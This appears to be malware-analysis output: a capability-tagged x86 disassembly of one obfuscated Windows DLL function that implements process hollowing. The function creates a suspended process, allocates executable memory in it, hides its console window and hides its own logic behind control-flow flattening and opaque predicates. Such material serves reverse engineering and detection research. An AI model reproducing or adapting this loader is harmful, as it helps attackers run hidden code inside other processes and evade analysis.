Function at 0x10003270
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x154
mov eax, dword [0x10068800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x15c], 0x967fcc8d
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x160], eax
sub eax, 0x802fe553
je 0x100072fb
jmp 0x100032ac
mov eax, dword [ebp - 0x160]
sub eax, 0x80396a59
je 0x1000983d
jmp 0x100032c2
mov eax, dword [ebp - 0x160]
sub eax, 0x817f94f3
je 0x100093c9
jmp 0x100032d8
mov eax, dword [ebp - 0x160]
sub eax, 0x81f687bc
je 0x1000800a
jmp 0x100032ee
mov eax, dword [ebp - 0x160]
sub eax, 0x82d2765e
je 0x1000a459
jmp 0x10003304
mov eax, dword [ebp - 0x160]
sub eax, 0x83207529
je 0x1000722a
jmp 0x1000331a
mov eax, dword [ebp - 0x160]
sub eax, 0x83d8b284
je 0x10006ed1
jmp 0x10003330
mov eax, dword [ebp - 0x160]
sub eax, 0x83f56c07
je 0x100066d7
jmp 0x10003346
mov eax, dword [ebp - 0x160]
sub eax, 0x84e05058
je 0x10007beb
jmp 0x1000335c
mov eax, dword [ebp - 0x160]
sub eax, 0x84e52acd
je 0x1000882f
jmp 0x10003372
mov eax, dword [ebp - 0x160]
sub eax, 0x851acb96
je 0x1000643e
jmp 0x10003388
mov eax, dword [ebp - 0x160]
sub eax, 0x85220ab4
je 0x100067bc
jmp 0x1000339e
mov eax, dword [ebp - 0x160]
sub eax, 0x85abda0a
je 0x1000a676
jmp 0x100033b4
mov eax, dword [ebp - 0x160]
sub eax, 0x85f63600
je 0x10009252
jmp 0x100033ca
mov eax, dword [ebp - 0x160]
sub eax, 0x861d357c
je 0x10006b34
jmp 0x100033e0
mov eax, dword [ebp - 0x160]
sub eax, 0x866037de
je 0x10005df9
jmp 0x100033f6
mov eax, dword [ebp - 0x160]
sub eax, 0x869391d3
je 0x100060fc
jmp 0x1000340c
mov eax, dword [ebp - 0x160]
sub eax, 0x875e933e
je 0x10009fea
jmp 0x10003422
mov eax, dword [ebp - 0x160]
sub eax, 0x877ed6df
je 0x100076d5
jmp 0x10003438
mov eax, dword [ebp - 0x160]
sub eax, 0x884cec07
je 0x10007ffb
jmp 0x1000344e
mov eax, dword [ebp - 0x160]
sub eax, 0x892727aa
je 0x10007c36
jmp 0x10003464
mov eax, dword [ebp - 0x160]
sub eax, 0x8964353b
je 0x10009198
jmp 0x1000347a
mov eax, dword [ebp - 0x160]
sub eax, 0x8a545712
je 0x10005e28
jmp 0x10003490
mov eax, dword [ebp - 0x160]
sub eax, 0x8a68703b
je 0x1000576b
jmp 0x100034a6
mov eax, dword [ebp - 0x160]
sub eax, 0x8acecbd5
je 0x1000a6c4
jmp 0x100034bc
mov eax, dword [ebp - 0x160]
sub eax, 0x8b0ed7dc
je 0x10005a64
jmp 0x100034d2
mov eax, dword [ebp - 0x160]
sub eax, 0x8c25b18f
je 0x1000a990
jmp 0x100034e8
mov eax, dword [ebp - 0x160]
sub eax, 0x8c48f474
je 0x10007f15
jmp 0x100034fe
mov eax, dword [ebp - 0x160]
sub eax, 0x8fac8075
je 0x100094d8
jmp 0x10003514
mov eax, dword [ebp - 0x160]
sub eax, 0x8fc21b6c
je 0x10005ee7
jmp 0x1000352a
mov eax, dword [ebp - 0x160]
sub eax, 0x9091c91c
je 0x100092ad
jmp 0x10003540
mov eax, dword [ebp - 0x160]
sub eax, 0x91bcde12
je 0x100092e6
jmp 0x10003556
mov eax, dword [ebp - 0x160]
sub eax, 0x91c263ec
je 0x10008066
jmp 0x1000356c
mov eax, dword [ebp - 0x160]
sub eax, 0x92290c66
je 0x100098df
jmp 0x10003582
mov eax, dword [ebp - 0x160]
sub eax, 0x93024cd4
je 0x100080dc
jmp 0x10003598
mov eax, dword [ebp - 0x160]
sub eax, 0x932160c5
je 0x100061f2
jmp 0x100035ae
mov eax, dword [ebp - 0x160]
sub eax, 0x93879dc6
je 0x1000646d
jmp 0x100035c4
mov eax, dword [ebp - 0x160]
sub eax, 0x93a3cbe8
je 0x100083a4
jmp 0x100035da
mov eax, dword [ebp - 0x160]
sub eax, 0x94f1d8ce
je 0x100077f1
jmp 0x100035f0
mov eax, dword [ebp - 0x160]
sub eax, 0x967fcc8d
je 0x1000548d
jmp 0x10003606
mov eax, dword [ebp - 0x160]
sub eax, 0x96eb576e
je 0x1000a225
jmp 0x1000361c
mov eax, dword [ebp - 0x160]
sub eax, 0x97b34ab0
je 0x10006618
jmp 0x10003632
mov eax, dword [ebp - 0x160]
sub eax, 0x97e5a27c
je 0x100084a1
jmp 0x10003648
mov eax, dword [ebp - 0x160]
sub eax, 0x98603131
je 0x1000a3af
jmp 0x1000365e
mov eax, dword [ebp - 0x160]
sub eax, 0x98aba123
je 0x10006d7b
jmp 0x10003674
mov eax, dword [ebp - 0x160]
sub eax, 0x98addd76
je 0x100071d2
jmp 0x1000368a
mov eax, dword [ebp - 0x160]
sub eax, 0x993a393f
je 0x10008b88
jmp 0x100036a0
mov eax, dword [ebp - 0x160]
sub eax, 0x99c8937a
je 0x10009ddb
jmp 0x100036b6
mov eax, dword [ebp - 0x160]
sub eax, 0x9b746b81
je 0x10008ab4
jmp 0x100036cc
mov eax, dword [ebp - 0x160]
sub eax, 0x9c51d4f6
je 0x1000a27d
jmp 0x100036e2
mov eax, dword [ebp - 0x160]
sub eax, 0x9d53d066
je 0x10006c21
jmp 0x100036f8
mov eax, dword [ebp - 0x160]
sub eax, 0x9e5749b3
je 0x10007c74
jmp 0x1000370e
mov eax, dword [ebp - 0x160]
sub eax, 0x9e778f06
je 0x10009382
jmp 0x10003724
mov eax, dword [ebp - 0x160]
sub eax, 0x9f117dca
je 0x1000a43b
jmp 0x1000373a
mov eax, dword [ebp - 0x160]
sub eax, 0x9f29425d
je 0x1000a28f
jmp 0x10003750
mov eax, dword [ebp - 0x160]
sub eax, 0xa08f72d5
je 0x10009cba
jmp 0x10003766
mov eax, dword [ebp - 0x160]
sub eax, 0xa0e40dc5
je 0x10008265
jmp 0x1000377c
mov eax, dword [ebp - 0x160]
sub eax, 0xa1bdd933
je 0x10005ddc
jmp 0x10003792
mov eax, dword [ebp - 0x160]
sub eax, 0xa23567b5
je 0x10006c3e
jmp 0x100037a8
mov eax, dword [ebp - 0x160]
sub eax, 0xa3e0d006
je 0x10007493
jmp 0x100037be
mov eax, dword [ebp - 0x160]
sub eax, 0xa457fadd
je 0x10008e0a
jmp 0x100037d4
mov eax, dword [ebp - 0x160]
sub eax, 0xa45a59e2
je 0x10007c93
jmp 0x100037ea
mov eax, dword [ebp - 0x160]
sub eax, 0xa47a6a72
je 0x1000735c
jmp 0x10003800
mov eax, dword [ebp - 0x160]
sub eax, 0xa4b20732
je 0x1000a44a
jmp 0x10003816
mov eax, dword [ebp - 0x160]
sub eax, 0xa4e1f8b9
je 0x10005bc0
push eax
sub esp, 0x18
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x15c], 0x7c0ee227
jmp 0x1000aaa2
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x113835e2
mov ecx, 0xf217965a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
movss xmm0, dword [0x100183a4]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x15c], 0x37a2cc8c
jmp 0x1000aaa2
mov dl, 1
mov eax, 0xe221bfc2
mov ecx, 0x866037de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
movss xmm0, dword [0x10018370]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x1001836c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x15c], 0x8a545712
jmp 0x1000aaa2
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x5b8fbdab
sub edx, 1
add edx, 0x5b8fbdab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1e58410b
mov ecx, 0x6e7b2433
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov dword [ebp - 0x15c], 0xe221bfc2
jmp 0x1000aaa2
movss xmm0, dword [0x10018348]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x15c], 0x31e3ecc9
jmp 0x1000aaa2
mov dword [ebp - 0x15c], 0x2de6d226
jmp 0x1000aaa2
movss xmm0, dword [0x10018340]
movss dword [ebp - 0x128], xmm0
movss xmm0, dword [0x1001833c]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x15c], 0x93879dc6
jmp 0x1000aaa2
mov dword [ebp - 0x15c], 0xe211ae5d
jmp 0x1000aaa2
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x10eb892f
sub edx, 1
sub edx, 0x10eb892f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa4b20732
mov ecx, 0x6b698bba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov dword [ebp - 0x15c], 0x69edb5c8
jmp 0x1000aaa2
movss xmm0, dword [0x10018308]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x15c], 0xf67e4c88
jmp 0x1000aaa2
mov dword [ebp - 0x15c], 0x28b7dbc7
jmp 0x1000aaa2
mov dl, 1
mov eax, 0x523ac2a5
mov ecx, 0xa23567b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
movss xmm0, dword [0x100182c0]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100182bc]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x15c], 0xee8de600
jmp 0x1000aaa2
movss xmm0, dword [0x100181d8]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100181d4]
movss dword [ebp - 0x130], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0xba7ccf5a
sub edx, 1
add edx, 0xba7ccf5a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x39451616
mov ecx, 0x1647ed9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
movss xmm0, dword [0x100182a8]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x15c], 0x8d47618
jmp 0x1000aaa2
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x736964a6
mov ecx, 0xf9a657d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
movss xmm0, dword [0x10018290]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x15c], 0x5c310fdf
jmp 0x1000aaa2
movss xmm0, dword [0x100181c8]
movss dword [ebp - 0x134], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xa08bdf05
sub edx, 1
sub edx, 0xa08bdf05
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf8a420e2
mov ecx, 0xa47a6a72
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov dword [ebp - 0x15c], 0x3480ee1a
jmp 0x1000aaa2
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xa9f95658
sub edx, 1
sub edx, 0xa9f95658
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xec34aad3
mov ecx, 0xb2f94656
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
movss xmm0, dword [0x1001827c]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x15c], 0x11ac8635
jmp 0x1000aaa2
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaf32338a
mov ecx, 0x74612e8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov dword [ebp - 0x15c], 0xad46e720
jmp 0x1000aaa2
movss xmm0, dword [0x10018264]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x10018260]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x15c], 0xfca5cf3a
jmp 0x1000aaa2
movss xmm0, dword [0x1001825c]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x15c], 0xa45a59e2
jmp 0x1000aaa2
mov dl, 1
mov eax, 0xf72fe2e6
mov ecx, 0x9213465
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov dl, 1
mov eax, 0x81f687bc
mov ecx, 0x69849087
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov dword [ebp - 0x15c], 0x81f687bc
jmp 0x1000aaa2
movss xmm0, dword [0x10018244]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x10018240]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x1001823c]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x15c], 0x5431ed44
jmp 0x1000aaa2
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x6ff2d772
sub edx, 1
add edx, 0x6ff2d772
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x85abda0a
mov ecx, 0x93024cd4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
movss xmm0, dword [0x100181a0]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x1001819c]
movss dword [ebp - 0x13c], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xacd50da3
sub edx, 1
sub edx, 0xacd50da3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x85abda0a
mov ecx, 0xdf1077dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
movss xmm0, dword [0x10018224]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x15c], 0x49c09c12
jmp 0x1000aaa2
movss xmm0, dword [0x10018220]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x15c], 0x203cfc85
jmp 0x1000aaa2
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x23ac7211
mov ecx, 0xbc301ea3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b48c4b
mov ecx, 0xbac61776
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov dl, byte [ebp - 0xd9]
mov eax, 0xf2c5200d
mov ecx, 0xcbc39ae0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x14c]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov eax, 0x6da56b03
mov ecx, 0xcd69dcbb
cmp dword [ebp - 0x68], 0
cmove eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x828df10
mov ecx, 0x1196b3b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xd7b0059a
sub edx, 1
sub edx, 0xd7b0059a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x78b85672
mov ecx, 0x22c42a85
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x108]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x15c], 0x9091c91c
jmp 0x1000aaa2
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xa0]
sub eax, 0xd59169e4
sub eax, ecx
add eax, 0xd59169e4
mov ecx, dword [ebp - 0xa4]
add ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov dword [ebp - 0x15c], 0x91bcde12
jmp 0x1000aaa2
mov dword [ebp - 0x15c], 0x617fec9f
jmp 0x1000aaa2
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x14c]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x91], al
mov dword [ebp - 0x15c], 0xae46c589
jmp 0x1000aaa2
mov dword [ebp - 0x15c], 0xc1342e05
jmp 0x1000aaa2
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
sub eax, 0x8a97ca82
add eax, 8
add eax, 0x8a97ca82
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x15c], 0x5c0af062
jmp 0x1000aaa2
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x8e3a15f1
sub edx, 1
add edx, 0x8e3a15f1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2937a3a
mov ecx, 0x7327882c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov dl, byte [ebp - 0x81]
mov eax, 0x22a237f9
mov ecx, 0x735d893
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov dword [ebp - 0x15c], 0x581e2a87
jmp 0x1000aaa2
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x36d43d20
sub edx, 1
sub edx, 0x36d43d20
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x442be27b
mov ecx, 0x159bb4f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov eax, dword [ebp - 0x158]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x15c], 0xdf6f5e7
jmp 0x1000aaa2
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6dca62d
mov ecx, 0xd28e68ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x15c], eax
jmp 0x1000aaa2
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000b4e0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001320
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001320
add esp, 4
movss xmm0, dword [0x10018214]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x10018210]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x1001820c]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x15c], 0x6ac9a2d
jmp 0x1000aaa2
mov dword [ebp - 0x15c], 0x2502a774
jmp 0x1000aaa2
mov dword [ebp - 0x15c], 0x3224b9a
jmp 0x1000aaa2
mov dword [ebp - 0x15c], 0x6b698bba
jmp 0x1000aaa2
movss xmm0, dword [0x100181e0]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x15c], 0xe2ff1a72
jmp 0x1000aaa2
movss xmm0, dword [0x100181a0]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x1001819c]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x15c], 0x93024cd4
jmp 0x1000aaa2
movss xmm0, dword [0x10018194]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x15c], 0x5684e2ca
jmp 0x1000aaa2
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x15c], 0xaf360a2d
jmp 0x1000aaa2
jmp 0x10003290